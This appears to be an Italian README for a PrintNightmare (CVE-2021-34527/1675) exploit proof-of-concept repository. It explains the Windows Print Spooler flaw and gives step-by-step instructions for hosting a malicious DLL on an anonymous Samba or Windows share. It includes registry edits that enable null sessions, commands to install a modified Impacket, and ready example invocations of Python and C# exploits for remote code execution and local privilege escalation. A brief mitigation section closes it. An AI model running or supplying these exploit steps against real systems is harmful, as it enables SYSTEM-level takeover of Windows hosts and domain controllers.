
PrintNightmare - Vulnerabilità RCE/LPE del Windows Print Spooler (CVE-2021-34527, CVE-2021-1675) exploit proof of concept
Si tratta di una vulnerabilità di esecuzione remota di codice che può essere utilizzata da un utente remoto autenticato per ottenere privilegi di livello SYSTEM su macchine Windows che eseguono il servizio di stampa. Un attaccante potrebbe quindi utilizzare tale accesso per creare nuovi account, tentare di installare programmi; visualizzare, modificare o eliminare dati; o creare nuovi account con diritti utente completi.
Questa vulnerabilità esiste a causa di un bug di bypass dell'autorizzazione nel servizio di stampa spoolsv.exe sui sistemi Windows, che consente agli utenti remoti autenticati di installare driver di stampa utilizzando la chiamata RPC RpcAddPrinterDriver e specificare un file driver situato in una posizione remota. Un utente malintenzionato che sfrutta questa vulnerabilità potrebbe ottenere privilegi di livello SYSTEM su un sistema Windows che esegue questo servizio iniettando DLL dannose come parte dell'installazione di un driver di stampa.
Sebbene Microsoft abbia rilasciato un aggiornamento per CVE-2021-1675, questo aggiornamento non protegge i controller di dominio di Active Directory o i sistemi Windows che hanno Point and Print configurato con l'opzione NoWarningNoElevationOnInstall.
Ci sono tre implementazioni di PoC exploit in questo repository:
Poiché il servizio RPC consente alla macchina client di fornire una posizione per i driver di stampa da scaricare dal server remoto, è possibile utilizzare le seguenti opzioni di esempio per ospitare il payload e il percorso fornito durante l'esecuzione dell'exploit:
Per configurare l'accesso guest in Samba, è necessario impostare un utente con cui verrà effettuato il login. Assicurarsi che esista un utente smbuser nel sistema, altrimenti crearne uno con password password
id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
Modificare il file /etc/samba/smb.conf e abilitare l'accesso anonimo
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
Le seguenti sono istruzioni leggermente aggiornate rispetto a quelle fornite da cube0x0:
Questa è l'implementazione Impacket dell'exploit Printnightmare di cube0x0. Prima di eseguire l'exploit è necessario installare una versione modificata di Impacket:
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
Il codice dell'exploit per questa vulnerabilità deve essere eseguito utilizzando Python 3
usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675/34527 implementation.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share Path to DLL. Example '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help show this help message and exit
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
connection:
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
La directory SharpPrintNightmare/ contiene l'implementazione in C# dell'exploit Printnightmare, sia per l'escalation dei privilegi locali (LPE) (CVE-2021-1675), che per l'esecuzione remota di codice (RCE). La funzionalità RCE richiede l'esecuzione con privilegi di amministratore locale sulla macchina che esegue l'exploit.
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll
#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' domain.local domain_username password
.\PrintNightmare.exe dc_ip path_to_exp user_name password
Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123##
Eseguire il seguente:
Get-Service -Name Spooler
Se il servizio di stampa è in esecuzione o se non è impostato come disabilitato, selezionare una delle seguenti opzioni per disabilitare il servizio di stampa o disabilitare la stampa remota in entrata tramite Criteri di Gruppo:
Se la disabilitazione del servizio di stampa è appropriata per la propria azienda, utilizzare i seguenti comandi PowerShell (raccomandazione di Microsoft):
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
o Disabilitare il servizio Spooler utilizzando il registro
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
o Disinstallare Print-Services
Uninstall-WindowsFeature Print-Services
Questo disabiliterà la possibilità di stampare sia localmente che da remoto.
È anche possibile configurare le impostazioni tramite Criteri di Gruppo come segue:
Computer Configuration / Administrative Templates / Printers
Disabilitare il criterio “Consenti al servizio di stampa di accettare connessioni client:” per bloccare gli attacchi remoti.
Questo criterio bloccherà il vettore di attacco remoto impedendo le operazioni di stampa remota in entrata. Il sistema non funzionerà più come server di stampa, ma la stampa locale su un dispositivo collegato direttamente sarà ancora possibile.
Per ulteriori informazioni, vedere: Utilizzare le impostazioni dei Criteri di Gruppo per controllare le stampanti.